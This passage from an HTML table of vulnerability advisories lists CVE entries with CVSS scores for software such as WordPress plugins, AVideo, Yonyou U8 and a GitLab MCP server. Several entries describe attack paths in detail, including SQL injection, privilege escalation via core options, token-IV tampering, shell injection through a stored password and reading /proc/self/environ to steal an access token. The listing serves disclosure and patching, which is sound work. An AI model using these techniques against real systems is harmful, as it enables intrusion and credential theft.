&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Lab--WP-Lister Lite for eBay&lt;/td&gt;
&lt;td&gt;Shop manager SQL Injection in WP-Lister Lite for eBay &amp;lt;= 3.8.11 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66628&quot; target=&quot;_blank&quot;&gt;CVE-2026-66628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp-lab--WP-Lister Lite for eBay&lt;/td&gt;
&lt;td&gt;The WP-Lister Lite for eBay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via AJAX Cron Handler Request Parameter in all versions up to, and including, 3.8.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18595&quot; target=&quot;_blank&quot;&gt;CVE-2026-18595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdevelop--Booking Calendar&lt;/td&gt;
&lt;td&gt;The Booking Calendar plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 11.8.2 via the `wpbc_ajax_option_save` AJAX action. The vulnerability exists because the `handle_ajax_save()` function applies per-option safeguards only to names explicitly registered via `register_option_policy()`, causing `get_option_policy()` to return an empty policy - bypassing all can_save, force_mode, and allowed_keys checks - for any unregistered option name, including core WordPress options, while an attacker-controlled `data_name` parameter passes through `sanitize_key()` and is written directly to `update_option()` without restriction. This makes it possible for authenticated attackers with Editor-level access and above to escalate their privileges to Administrator by writing core WordPress options such as `default_role=administrator` and `users_can_register=1`, then self-registering a new Administrator account. The nonce check does not meaningfully restrict this attack, as both the nonce value and nonce action are attacker-supplied POST parameters, and a valid nonce is trivially obtainable via `admin-ajax.php?action=rest-nonce`.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92619&quot; target=&quot;_blank&quot;&gt;CVE-2026-92619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpengine--faustjs&lt;/td&gt;
&lt;td&gt;Faust.js is a headless WordPress toolkit. Prior to 1.8.11, the FaustWP WordPress plugin authenticates only the ciphertext in its token envelope and excludes the 16-byte initialization vector from the HMAC in WPE\FaustWP\Auth\encrypt() and WPE\FaustWP\Auth\decrypt() in plugins/faustwp/includes/auth/functions.php. A logged-in non-administrator who obtains an authorization code from GET /generate can modify the unauthenticated initialization vector so that CBC decryption changes the token type and user identifier while the HMAC remains valid. This can produce an access token for an Administrator and permit full WordPress REST API access, administrator-account creation, plugin installation, and arbitrary code execution. This issue is fixed in repository version 1.8.11.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54239&quot; target=&quot;_blank&quot;&gt;CVE-2026-54239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpexpertsio--WP Multi Store Locator Pro&lt;/td&gt;
&lt;td&gt;The WP Multi Store Locator Pro plugin for WordPress is vulnerable to generic SQL Injection via the &#039;store_locatore_search_radius&#039; parameter in all versions up to, and including, 4.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection occurs in a numeric, unquoted SQL context, meaning WordPress&#039;s wp_magic_quotes() addslashes-based protection cannot neutralize the payload, and the AJAX handler is registered on wp_ajax_nopriv_make_search_request with no nonce or capability check, making it fully accessible without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15275&quot; target=&quot;_blank&quot;&gt;CVE-2026-15275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpmudev--Forminator Forms Contact Form, Payment Form &amp;amp; Custom Form Builder&lt;/td&gt;
&lt;td&gt;The The Forminator Forms - Contact Form, Payment Form &amp;amp; Custom Form Builder plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.57.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92229&quot; target=&quot;_blank&quot;&gt;CVE-2026-92229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wrtsil--FOS-Onboard&lt;/td&gt;
&lt;td&gt;A hardcoded cryptographic server key vulnerability exists in the deployer-ng Update Controller component of WÃ¤rtsilÃ¤ FOS-Onboard.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78225&quot; target=&quot;_blank&quot;&gt;CVE-2026-78225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wrtsil--FOS-Onboard&lt;/td&gt;
&lt;td&gt;A hardcoded cryptographic client authentication key vulnerability exists in the robot testing framework component of WÃ¤rtsilÃ¤ FOS-Onboard.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81855&quot; target=&quot;_blank&quot;&gt;CVE-2026-81855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WSO2--WSO2 Integrator: MI for Visual Studio Code&lt;/td&gt;
&lt;td&gt;The WSO2 Integrator MI VS Code extension fails to properly sanitize or validate user-supplied input when processing Micro Integrator projects opened from untrusted sources. This allows a crafted project to inject and execute arbitrary operating system commands through the unit test execution flow. Successful exploitation of this vulnerability could lead to the execution of arbitrary OS commands on the system where the VS Code extension is running. The extent of the impact is dependent on the privileges of the user account under which VS Code is operating. Exploitation requires the user to grant workspace trust to the malicious project and subsequently trigger the unit test execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19515&quot; target=&quot;_blank&quot;&gt;CVE-2026-19515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WuzhiCMS--WuzhiCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in WuzhiCMS up to 4.1.0. Affected by this issue is the function article::getDataOfJson of the file /index.php?m=content&amp;amp;f=article&amp;amp;v=getDataOfJson. The manipulation of the argument title/master_table leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91848&quot; target=&quot;_blank&quot;&gt;CVE-2026-91848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WuzhiCMS--WuzhiCMS&lt;/td&gt;
&lt;td&gt;A flaw has been found in WuzhiCMS up to 4.1.0. The impacted element is the function ckditor::saveRemote of the file coreframe/app/attachment/index.php of the component Remote Image Fetch. This manipulation of the argument source[] causes server-side request forgery. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92380&quot; target=&quot;_blank&quot;&gt;CVE-2026-92380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through 29.0 contains an authentication bypass vulnerability where the stored password hash is accepted as a valid login credential through two independent code paths in loginFromRequest() and encryptPasswordVerify(). Attackers who obtain the stored users.password hash value can authenticate as any user by submitting the hash directly to login endpoints, completely bypassing password verification.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92578&quot; target=&quot;_blank&quot;&gt;CVE-2026-92578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;In AVideo through 29.0, the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (line ~270) the stored SSH password is substituted into the command string `sshpass -p &#039;{password}&#039; rsync ...` with a plain str_replace and no escaping, so a single quote in the password breaks out of the quoted word and injects arbitrary shell. The password is written through the admin-only endpoint objects/pluginAddDataObject.json.php, whose only CSRF defense (isUntrustedRequest()/forbidIfIsUntrustedRequest()) is a no-op when the request source appears to be loopback - as happens behind a same-host TLS-terminating reverse proxy with $global[&#039;trustedProxies&#039;] unset - or when an attacker-controlled application is co-hosted on the same hostname; on HTTPS the session cookie is issued with SameSite=None, so a cross-site POST carries it. An unauthenticated remote attacker can therefore lure an authenticated administrator into planting a malicious password (and an attacker-controlled cloneSiteURL), after which the plugin&#039;s documented crontab entry executes the injected command with no further administrator action, as the crontab owner (commonly root or www-data). Exploitation requires the CloneSite plugin to be enabled with the documented crontab installed and one of the above CSRF channels; default single-process Apache deployments are reported as not CSRF-exploitable. This is a residual sink of CVE-2026-41304. The issue is confirmed at master HEAD (8963b6a1); no patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92580&quot; target=&quot;_blank&quot;&gt;CVE-2026-92580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo LoginControl contains an authentication bypass vulnerability in the PGP second factor verification that compares challenge responses using loose equality against an uninitialized session variable. Attackers with a victim&#039;s password can bypass the second factor by sending a parameter-less GET request to verifyChallenge.json.php, which evaluates null == null and marks authentication complete.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92914&quot; target=&quot;_blank&quot;&gt;CVE-2026-92914&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through 29.0 fails to enforce user-group restrictions in the plugin/Live/stats.json.php and plugin/Live/calendar.json.php endpoints. Unauthenticated attackers can retrieve restricted live transmission details including stream keys, titles, descriptions, owner information, and direct HLS playback URLs by accessing these endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91965&quot; target=&quot;_blank&quot;&gt;CVE-2026-91965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;In AVideo through 29.0, the API get_api_video endpoint contains a broken access control vulnerability in the clean_title branch that returns user-group-restricted videos with owner PII to anonymous callers. Attackers can query videos by their public slug to bypass group restrictions and retrieve sensitive user fields including email, phone, address, birth date, and administrator status.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92577&quot; target=&quot;_blank&quot;&gt;CVE-2026-92577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo (WWBN/AVideo) through 29.0 (commit e01e41ecc) is vulnerable to cross-site request forgery. objects/videoAddNew.json.php disables AVideo&#039;s automatic CSRF guard ($global[&#039;skipAutoCSRFCheck&#039;]) and the untrusted-request check ($global[&#039;bypassSameDomainCheck&#039;]) merely because &#039;user&#039; and &#039;pass&#039; parameters are present in the request; the values are never validated and are read from $_REQUEST, so an attacker can supply them in the query string of a cross-site request. Because User::loginFromRequestIfNotLogged() returns immediately when a session already exists, a victim who is authenticated by cookie satisfies the check while the attacker-supplied credentials are discarded. An attacker who lures an authenticated user with upload rights to visit a crafted page can therefore submit cross-origin requests that modify video records - including ownership transfer (setUsers_id), deletion of user-group access restrictions, can_download, can_share, only_for_paid, video_password, rating, status, creation date, and view count. For a victim with administrator or Permissions::canAdminVideos() rights, any video on the site can be altered, including removing group restrictions from private content. No patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92582&quot; target=&quot;_blank&quot;&gt;CVE-2026-92582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 uses a cryptographically weak pseudo-random number generator when creating account activation / login pairing codes. getRandomCode() in objects/functions.php derives the code entirely from uniqid() (sprintf(&#039;%08x%05x&#039;, seconds, microseconds)) with a single non-CSPRNG rand() character used only as padding, reducing the code space to roughly 36 x 10^6 (~2^25) values for a known generation second. Because plugin/API/set.json.php?APIName=login_code can be called without authentication, it also serves as an oracle for the server&#039;s exact microtime. An unauthenticated remote attacker who guesses a valid, unexpired code (codes expire after 10 minutes) can redeem it at plugin/API/get.json.php?APIName=login_code to obtain the target account&#039;s email address and a User::getUserHash(users_id, &#039;+1 year&#039;) value, a credential accepted in place of the account password for one year, resulting in account takeover. No patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92913&quot; target=&quot;_blank&quot;&gt;CVE-2026-92913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit e01e41ecc (no patched version available) contains a broken access control flaw in objects/userVerifyEmail.php. The script disables the login requirement ($global[&#039;ignoreUserMustBeLoggedIn&#039;] = 1), takes users_id directly from the query string, and calls User::sendVerificationLink() with no session requirement, no CSRF/global token, no relationship check between caller and target, and no enforceRateLimit() call. The only intended throttle is keyed to the caller&#039;s own session, so cookie-less requests are never limited. An unauthenticated remote attacker can therefore cause an arbitrary number of verification emails to be sent to any account ID, and can enumerate accounts and their verification status from the three distinct JSON responses (&quot;Verification Sent&quot;, &quot;Already verified&quot;, &quot;Unknown error&quot;). In addition, createVerificationCode() invokes $user-&amp;gt;setRecoverPass() and saves the user, so each anonymous request writes a live password-recovery token onto the targeted account; that token is embedded in base64 in the verification link emailed to the account owner and is accepted by objects/userRecoverPassSave.json.php as the credential for setting a new password.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92915&quot; target=&quot;_blank&quot;&gt;CVE-2026-92915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Xagio SEO--Xagio SEO&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Request Forgery (CSRF) in Xagio SEO &amp;lt;= 7.1.0.43 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78295&quot; target=&quot;_blank&quot;&gt;CVE-2026-78295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xerial--snappy-java&lt;/td&gt;
&lt;td&gt;snappy-java through 1.1.10.8 contains a buffer overflow vulnerability in Snappy.compress(ByteBuffer, ByteBuffer) that writes past the end of the destination buffer. Attackers can supply incompressible data that exceeds the destination buffer&#039;s remaining capacity, corrupting off-heap memory and causing JVM termination.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93452&quot; target=&quot;_blank&quot;&gt;CVE-2026-93452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xwiki--xwiki-rendering&lt;/td&gt;
&lt;td&gt;XWiki Rendering is a generic rendering system that converts textual input in a given syntax (wiki syntax, HTML, etc) into another syntax (XHTML, etc). Prior to versions 14.10.2 and 15.0 RC1, any user who can edit their own user profile or any other document can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The reason is that rendering output is included as content of HTML macros without further escaping and it is thus possible to close the HTML macro and inject script macros that are executed with programming rights. This has been patched in XWiki 14.10.2 and 15.0 RC1 by making sure that rendering output cannot close the surrounding HTML macro. A possible workaround is available. It is, in principle, possible to add escaping to all places where rendering output is used in wiki documents, but at the moment there is no list of them.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-53837&quot; target=&quot;_blank&quot;&gt;CVE-2025-53837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yahoo--CMAK&lt;/td&gt;
&lt;td&gt;CMAK through 3.0.0.6 fails to install a cross-site request forgery filter, allowing attackers to perform state-changing actions on behalf of authenticated operators. Attackers can craft hidden forms that submit to destructive endpoints like topic deletion and cluster configuration changes, leveraging the operator&#039;s HTTP Basic authentication credentials or play-basic-authentication cookie without SameSite protection.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92751&quot; target=&quot;_blank&quot;&gt;CVE-2026-92751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yeti-platform--yeti&lt;/td&gt;
&lt;td&gt;Yeti through 2.11.0 fails to validate caller permissions in the DELETE /api/v2/rbac/{id} endpoint, allowing users with read access to delete access control relationships. Attackers can revoke the owner&#039;s grant and permanently lock legitimate owners out of objects.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92783&quot; target=&quot;_blank&quot;&gt;CVE-2026-92783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yo--Yo&lt;/td&gt;
&lt;td&gt;The Yo WordPress plugin from 1.1 through 1.3.1 does not sanitize or parameterize the username request parameter before using it in a SQL query, and reads it before WordPress applies its request escaping, allowing unauthenticated attackers to perform SQL injection and read arbitrary database contents including administrator password hashes.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87963&quot; target=&quot;_blank&quot;&gt;CVE-2026-87963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yonyou--U8 Cloud&lt;/td&gt;
&lt;td&gt;Yonyou U8 Cloud contains an unauthenticated Java deserialization vulnerability in the nc.impl.pub.filesystem.FileManageServlet component that allows remote unauthenticated attackers to execute arbitrary OS commands by sending a serialized payload via POST request. Attackers can exploit the doAction method, which passes raw HTTP request body data directly to ObjectInputStream.readObject() without filtering, to achieve remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-02-13.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54398&quot; target=&quot;_blank&quot;&gt;CVE-2023-54398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yonyou--U8 CRM&lt;/td&gt;
&lt;td&gt;Yonyou U8 CRM contains an unauthenticated SQL injection vulnerability in the fillbacksettingedit.php configuration endpoint where the DontCheckLogin=1 parameter bypasses authentication and the id parameter is incorporated into SQL queries without sanitization. Attackers can exploit this flaw to execute arbitrary SQL commands and, on Microsoft SQL Server deployments with xp_cmdshell enabled, write backdoor files and execute arbitrary operating system commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2025-02-13.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58385&quot; target=&quot;_blank&quot;&gt;CVE-2024-58385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yot--CMS&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Yot CMS up to 3.3.1. Affected by this vulnerability is the function Login of the file global.php of the component Cookie Handler. This manipulation of the argument yot3_user/yot3_pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90708&quot; target=&quot;_blank&quot;&gt;CVE-2026-90708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ysinnovations--YS LeadGen Popup Builder, Popup Maker &amp;amp; Form Builder for WordPress | Lead Generation, Email Marketing, Sales, Conversions, Opt-Ins &amp;amp; Subscribers&lt;/td&gt;
&lt;td&gt;The YS LeadGen plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.4 due to the &#039;ysleadgen_get_captured_data&#039; AJAX action being accessible to unauthenticated users. This makes it possible for unauthenticated attackers to retrieve all captured form submission data, including personally identifiable information (PII) such as names, email addresses, and message content submitted through YS LeadGen forms.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1255&quot; target=&quot;_blank&quot;&gt;CVE-2026-1255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zalando--skipper&lt;/td&gt;
&lt;td&gt;Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.27.35, the opaAuthorizeRequestWithBody filter in filters/openpolicyagent/openpolicyagent.go can allow an oversized declared Content-Length request to bypass a deny-on-presence Rego policy because ExtractHttpBodyOptionally leaves OPA with an empty parsed_body while forwarding the complete request body upstream. This incomplete remediation of CVE-2026-50197 affects deployments that authorize request-body content and exceed -open-policy-agent-max-request-body-size, which defaults to 1 MB. Policy logic that does not reject input.attributes.request.http.truncated_body can therefore fail open and permit a forbidden payload to reach the protected service, while small bodies and the previously fixed chunked-body case are evaluated normally. This issue is fixed in version 0.27.35.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65838&quot; target=&quot;_blank&quot;&gt;CVE-2026-65838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zalando--skipper&lt;/td&gt;
&lt;td&gt;Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86043&quot; target=&quot;_blank&quot;&gt;CVE-2026-86043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zereight--gitlab-mcp&lt;/td&gt;
&lt;td&gt;`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim&#039;s `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim&#039;s token to that host. Version 2.1.27 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61559&quot; target=&quot;_blank&quot;&gt;CVE-2026-61559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zereight--gitlab-mcp&lt;/td&gt;
&lt;td&gt;`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Prior to version 2.1.27, the SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server&#039;s local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server&#039;s `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments. Version 2.1.27 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61560&quot; target=&quot;_blank&quot;&gt;CVE-2026-61560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zereight--gitlab-mcp&lt;/td&gt;
